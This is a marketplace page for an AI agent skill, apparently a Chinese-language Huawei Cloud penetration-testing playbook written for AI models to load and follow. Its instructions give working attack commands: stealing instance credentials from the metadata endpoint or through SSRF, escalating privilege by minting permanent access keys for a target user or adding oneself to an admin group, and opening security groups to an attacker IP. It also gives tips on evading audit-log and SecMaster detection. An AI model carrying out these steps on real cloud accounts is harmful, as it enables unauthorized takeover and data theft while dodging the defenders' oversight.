Huawei Pentesting logo

Huawei Pentesting

OrganizationPopular
wgpsec
huawei-pentesting

华为云渗透测试方法论。当目标使用华为云服务、发现 obs.*.myhuaweicloud.com 资产、获取华为云 AK/SK、在 ECS 实例内可访问 169.254.169.254 OpenStack 风格元数据、或需要对华为云 IAM/ECS/OBS/RDS/CCE/FunctionGraph 等服务进行安全评估时使用。覆盖 IAM 提权(OpenStack Keystone)、ECS 接管、OBS 对象存储利用、RDS 数据库攻击、CCE 容器集群、FunctionGraph 函数计算、ELB 负载均衡、LTS 日志、KMS 密钥管理。华为云使用 OpenStack CLI + obsutil + REST API 三种接口

Overview

Publisherwgpsec
RepositoryAboutSecurity
Skill namehuawei-pentesting
Stars
1.7K
Forks
242
Bundled files
2
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • 2 bundled files

    Scripts, templates, and references the model can read while it works. Files are read-only and never executed.

  • Open source

    Published by wgpsec on GitHub. Read the source before you install it.

Installation

Install the Huawei Pentesting AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/wgpsec/AboutSecurity.git /tmp/AboutSecurity
mkdir -p .claude/skills
cp -r /tmp/AboutSecurity/skills/cloud/huawei-pentesting .claude/skills/huawei-pentesting
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Huawei Pentesting in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Huawei Pentesting on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Huawei Pentesting is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

华为云渗透测试方法论

华为云 IAM/ECS/OBS/RDS/CCE 等服务构成主要攻击面。与 AWS/阿里云/腾讯云最大的不同在于,华为云使用三种独立的 CLI 接口(openstack CLI、obsutil、REST API),且其 IAM 基于 OpenStack Keystone 实现,元数据端点使用标准 169.254.169.254 但路径为 OpenStack 风格。本技能以渗透阶段(Phase)为主线,从凭据识别到各服务利用,提供完整攻击路径。

⛔ 深入参考(必读)

识别到具体攻击服务后,加载对应参考文档获取完整技术细节:


Phase 1: 环境识别

拿到华为云相关目标后,首先识别凭据类型、确认可用的 CLI 接口、判断网络位置。

1.1 凭据类型

凭据类型识别特征有效期获取方式
长期 AK/SKAccessKeyId + SecretAccessKey永久(直到手动轮换)IAM 控制台创建 / 代码泄露
IAM TokenX-Auth-Token(Keystone 风格)默认 24 小时用户名密码换取 / AK/SK 签名
临时安全凭据AK/SK + SecurityToken15 分钟 ~ 24 小时IAM Agency(委托)
IAM Agency(委托)类似 AWS AssumeRole按 Token 有效期跨账号/服务委托

1.2 三种 CLI 接口(华为云独有)

华为云使用三种不同的命令行接口,这是渗透时必须理解的核心区别:

接口覆盖服务认证方式安装
openstack CLIIAM / ECS / 安全组环境变量 or clouds.yamlpip install python-openstackclient
obsutilOBS 对象存储obsutil config -i AK -k SK -e endpoint华为云官网下载二进制
curl + REST APIRDS / ELB / CCE / FunctionGraph / LTS / KMSX-Auth-Token Header系统自带
bash
# openstack CLI 配置(环境变量方式)
export OS_AUTH_URL=https://iam.{region}.myhuaweicloud.com/v3
export OS_PROJECT_NAME={region}
export OS_USERNAME=USERNAME
export OS_PASSWORD=PASSWORD
export OS_DOMAIN_NAME=DOMAIN_NAME

# openstack CLI 配置验证
openstack token issue

# obsutil 配置
obsutil config -i ACCESS_KEY_ID -k SECRET_ACCESS_KEY \
  -e https://obs.{region}.myhuaweicloud.com

# obsutil 验证
obsutil ls -limit=1

1.3 获取 IAM Token(REST API 前置条件)

华为云 REST API 调用需要先通过 IAM 获取 X-Auth-Token:

bash
# 用户名密码方式获取 Token
curl -X POST "https://iam.{region}.myhuaweicloud.com/v3/auth/tokens" \
  -H "Content-Type: application/json" \
  -d '{
    "auth": {
      "identity": {
        "methods": ["password"],
        "password": {
          "user": {
            "domain": {"name": "DOMAIN_NAME"},
            "name": "USERNAME",
            "password": "PASSWORD"
          }
        }
      },
      "scope": {
        "project": {"name": "{region}"}
      }
    }
  }'
# Token 在响应头 X-Subject-Token 中返回,有效期默认 24 小时
TOKEN=$(curl -sI ... | grep X-Subject-Token | awk '{print $2}' | tr -d '\r')

# 如果有 AK/SK 但无用户名密码
# 华为云 AK/SK 签名较复杂,建议使用 SDK
pip install huaweicloudsdkcore huaweicloudsdkiam

1.4 元数据端点

华为云 ECS 元数据端点使用标准 IP 169.254.169.254,但路径为 OpenStack 风格:

bash
# 判断是否在 ECS 实例内部
curl -s http://169.254.169.254/openstack/latest/meta_data.json

# 获取实例绑定的 IAM Agency 凭据
curl -s http://169.254.169.254/openstack/latest/securitykey

# 获取实例 ID 和项目 ID
curl -s http://169.254.169.254/openstack/latest/meta_data.json | python3 -m json.tool
# 关注字段: uuid (实例 ID), project_id, availability_zone

# 获取 User-Data(可能包含初始化脚本中的凭据)
curl -s http://169.254.169.254/openstack/latest/user_data

注意: 华为云元数据 IP 与 AWS 相同(169.254.169.254),但路径使用 OpenStack 格式(/openstack/latest/)。部分 SSRF 防护如果仅阻止 AWS 路径 /latest/meta-data/ 但未阻止 OpenStack 路径,仍然可以利用。

1.5 对象存储 URL 格式

公网访问:  https://{bucket}.obs.{region}.myhuaweicloud.com/{object}

发现 obs.*.myhuaweicloud.com 域名即可确认目标使用华为云 OBS。Bucket 名称全局唯一。

1.6 区域编码

区域代码位置备注
cn-north-4华北-北京四最常用区域
cn-north-1华北-北京一
cn-east-3华东-上海一
cn-east-2华东-上海二
cn-south-1华南-广州
cn-southwest-2西南-贵阳一
ap-southeast-1亚太-香港无需备案
ap-southeast-3亚太-新加坡海外区域

枚举时需遍历多个区域。IAM 为全局服务(iam.myhuaweicloud.com),ECS/OBS/RDS 等需逐区域操作。

1.7 IAM 身份模型

华为云 IAM 基于 OpenStack Keystone,使用 Domain / Project / User 三级层级:

概念华为云 IAMAWS IAM
顶级账号Domain(域,含 Domain ID)Account(含 Account ID)
项目/区域隔离Project(每个区域一个 Project)无直接对应(Region 概念)
用户User(属于 Domain)IAM User
角色/委托Agency(委托,类似 AssumeRole)IAM Role
用户组Group(绑定权限后用户继承)IAM Group
bash
# 查看当前用户信息 [openstack]
openstack user show $(openstack token issue -f value -c user_id)

# 列出所有用户 [openstack]
openstack user list

# 查看角色分配 [openstack]
openstack role assignment list --user USER_ID --project PROJECT_ID

Phase 2: 攻击决策树

根据当前持有的凭据/位置,判断攻击路径(每个分支标注使用的接口):

当前持有什么?
├── 无凭据
│   ├── 有目标域名 → OBS Bucket 枚举 [curl](猜解 bucket 名 + 公开访问检测)
│   ├── 有 SSRF 漏洞 → 打 http://169.254.169.254/openstack/latest/ [curl]
│   └── 仅知组织名 → OSINT + OBS/子域名枚举 [curl]
├── 有 AK/SK
│   ├── 配置 openstack CLI + obsutil + 获取 Token
│   ├── 验证: openstack token issue [openstack]
│   ├── 有 IAM 写权限 → Phase 3(IAM 提权)[openstack]
│   ├── 有 ECS 权限 → Phase 4(计算/存储)[openstack]
│   ├── 有 OBS 权限 → Phase 4(对象存储)[obsutil]
│   ├── 有 RDS/ELB 权限 → Phase 4(数据库/LB)[REST API]
│   └── 权限不明 → 逐服务探测(三种接口分别测试)
├── 有用户名密码(IAM 账号)
│   ├── 获取 Token: POST /v3/auth/tokens [REST API]
│   ├── 配置 openstack CLI [openstack]
│   └── 根据权限进入对应 Phase
├── 在 ECS 实例内部
│   ├── 获取元数据凭据 [curl] → 根据权限进入对应 Phase
│   └── 检查 User-Data 中是否有硬编码凭据 [curl]
└── 有容器环境(CCE Pod 内部)
    ├── 检查 ServiceAccount Token [kubectl]
    ├── 尝试访问元数据服务 [curl]
    └── → Phase 5(容器/Serverless)[REST API + kubectl]

Phase 3: IAM 提权速查

华为云 IAM 基于 OpenStack Keystone,使用 openstack CLI 进行操作。

3.1 信息收集

bash
# 列出所有用户 [openstack]
openstack user list

# 查看指定用户详情 [openstack]
openstack user show USER_ID

# 列出角色分配 [openstack]
openstack role assignment list --user USER_ID --project PROJECT_ID

# 列出所有项目(Region 对应的 Project)[openstack]
openstack project list

3.2 提权路径

提权路径所需权限接口操作
创建 AK/SKIAM 凭据管理权限REST API为高权限用户创建永久访问密钥
修改用户密码iam:user:setPasswordopenstack重置其他用户密码获取其权限
创建 IAM Agencyiam:agency:createAgencyREST API创建委托关系获取其他账号权限
修改用户组iam:group:addUseropenstack将自身加入高权限用户组
PassRole + 创建 ECS委托绑定 + ECS 创建openstack启动绑定高权限 Agency 的 ECS
PassRole + 创建 FunctionGraph委托绑定 + 函数创建REST API创建绑定高权限 Agency 的函数
bash
# 提权示例:为高权限用户创建永久 AK/SK [REST API]
curl -X POST "https://iam.{region}.myhuaweicloud.com/v3.0/OS-CREDENTIAL/credentials" \
  -H "X-Auth-Token: $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"credential": {"user_id": "TARGET_USER_ID", "description": "backup"}}'
# 返回 access (AK) 和 secret (SK)

# 提权示例:将自身加入管理员组 [openstack]
openstack group add user ADMIN_GROUP_ID CURRENT_USER_ID

Phase 4: 计算/存储/数据库速查

ECS 云服务器 [openstack]

bash
# 列出所有实例
openstack server list --long
# 获取实例详情(关注安全组、绑定 IP、状态)
openstack server show SERVER_ID

→ 读 references/compute-storage-attacks.md 获取 VNC 控制台、密码提取、元数据利用完整流程

OBS 对象存储 [obsutil]

bash
# 列出所有 Bucket → 列出对象 → 下载敏感文件
obsutil ls
obsutil ls obs://BUCKET_NAME/ -limit=100

→ 读 references/compute-storage-attacks.md 获取 ACL 修改、批量下载、公开访问检测完整流程

RDS 数据库 [REST API]

bash
# 列出数据库实例
curl -X GET "https://rds.{region}.myhuaweicloud.com/v3/{project_id}/instances" \
  -H "X-Auth-Token: $TOKEN"

→ 读 references/compute-storage-attacks.md 获取账号创建、备份下载、数据导出完整流程

ELB 负载均衡 [REST API]

bash
# 列出负载均衡实例
curl -X GET "https://elb.{region}.myhuaweicloud.com/v2/{project_id}/elb/loadbalancers" \
  -H "X-Auth-Token: $TOKEN"

→ 读 references/compute-storage-attacks.md 获取后端篡改、流量劫持完整流程


Phase 5: 容器/Serverless/日志/KMS 速查

CCE 容器引擎 [REST API + kubectl]

bash
# 列出集群
curl -X GET "https://cce.{region}.myhuaweicloud.com/api/v3/projects/{project_id}/clusters" \
  -H "X-Auth-Token: $TOKEN"
# 获取 kubeconfig 后使用 kubectl 操作集群

→ 读 references/platform-services-attacks.md 获取集群接管、kubeconfig 提取、特权 Pod 创建完整流程

FunctionGraph 函数计算 [REST API]

bash
# 列出函数(注意 URN 格式)
curl -X GET "https://functiongraph.{region}.myhuaweicloud.com/v2/{project_id}/fgs/functions" \
  -H "X-Auth-Token: $TOKEN"

→ 读 references/platform-services-attacks.md 获取代码提取、环境变量泄露、函数配置完整流程

LTS 日志服务 [REST API]

bash
# 列出日志组
curl -X GET "https://lts.{region}.myhuaweicloud.com/v2/{project_id}/groups" \
  -H "X-Auth-Token: $TOKEN"

→ 读 references/platform-services-attacks.md 获取敏感日志搜索、批量导出完整流程

KMS 密钥管理 [REST API]

bash
# 列出密钥
curl -X GET "https://kms.{region}.myhuaweicloud.com/v1.0/{project_id}/kms/keys" \
  -H "X-Auth-Token: $TOKEN"

→ 读 references/platform-services-attacks.md 获取密钥枚举、数据解密完整流程


Phase 6: 安全组操控

安全组是华为云 ECS 的网络访问控制层,使用 openstack CLI 操作。

bash
# 列出所有安全组 [openstack]
openstack security group list

# 查看安全组规则 [openstack]
openstack security group rule list SG_ID

# 添加入方向规则 — 仅开放攻击者 IP 的 SSH [openstack]
openstack security group rule create --proto tcp --dst-port 22 \
  --remote-ip ATTACKER_IP/32 SG_ID

# 危险操作 — 开放所有端口(极高告警风险)[openstack]
openstack security group rule create --proto tcp --dst-port 1:65535 \
  --remote-ip 0.0.0.0/0 SG_ID

判断依据: 仅在需要建立反向连接或直接访问内部服务时操作安全组。优先使用最小端口范围 + 指定源 IP,避免触发安全云脑(SecMaster)告警。


工具速查

工具用途接口类型安装/使用
openstack CLIIAM/ECS/安全组操作openstackpip install python-openstackclient
obsutilOBS 对象存储操作obsutil华为云官网下载二进制
curlREST API 调用 + 元数据探测REST API系统自带
hcloud CLI华为云官方 CLI(部分场景替代 curl)REST API华为云官网下载
kubectlCCE 集群操作kubectl获取 kubeconfig 后使用
huaweicloudsdkcorePython SDK(AK/SK 签名)SDKpip install huaweicloudsdkcore

注意事项

CTS 审计感知: 华为云 CTS(Cloud Trace Service)记录管理事件 API 调用(类似 AWS CloudTrail)。以下操作产生高可见性日志:

  • IAM 变更(创建用户、创建 AK/SK、修改用户组)
  • Agency(委托)创建与修改
  • 安全组规则变更

安全云脑检测: 华为云安全云脑(SecMaster)会检测:

  • AK/SK 异常调用(异常 IP、异常时间、异常 API 频率)
  • ECS 异常登录(非常用地域 IP)
  • 安全组规则异常开放
  • OBS Bucket ACL 变更为公开

速率限制: 华为云 API 有限流机制,枚举时建议控制频率。触发限流返回 HTTP 429 或 APIGW 错误。

区域遍历: 华为云资源按区域隔离。IAM 为全局服务,但 ECS/OBS/RDS 等需逐区域枚举。注意:每个区域对应一个独立的 OpenStack Project。

三种接口的认证隔离: openstack CLI 使用环境变量认证,obsutil 使用独立的 AK/SK 配置,REST API 使用 X-Auth-Token。切换区域时三种工具的配置需要分别更新。

Bundled files

The model reads these on demand while the skill is loaded. They are exposed as readable files and are never executed.

Frequently asked questions

What does the Huawei Pentesting AI skill do?

华为云渗透测试方法论。当目标使用华为云服务、发现 obs.*.myhuaweicloud.com 资产、获取华为云 AK/SK、在 ECS 实例内可访问 169.254.169.254 OpenStack 风格元数据、或需要对华为云 IAM/ECS/OBS/RDS/CCE/FunctionGraph 等服务进行安全评估时使用。覆盖 IAM 提权(OpenStack Keystone)、ECS 接管、OBS 对象存储利用、RDS 数据库攻击、CCE 容器集群、FunctionGraph 函数计算、ELB 负载均衡、LTS 日志、KMS 密钥管理。华为云使用 OpenStack CLI + obsutil + REST API 三种接口

Why use Huawei Pentesting on TypingMind?

Because you install it once and use it with any model. Huawei Pentesting is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Huawei Pentesting in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/wgpsec/AboutSecurity/tree/master/skills/cloud/huawei-pentesting. TypingMind reads its SKILL.md and bundles its files and installs it as a skill you can enable per chat.

Which AI models can use Huawei Pentesting?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Huawei Pentesting?

As many as you like. As long as a model supports skills, you can use Huawei Pentesting with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Huawei Pentesting AI skill free?

It is published on GitHub by wgpsec. Check the repository for licensing terms. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇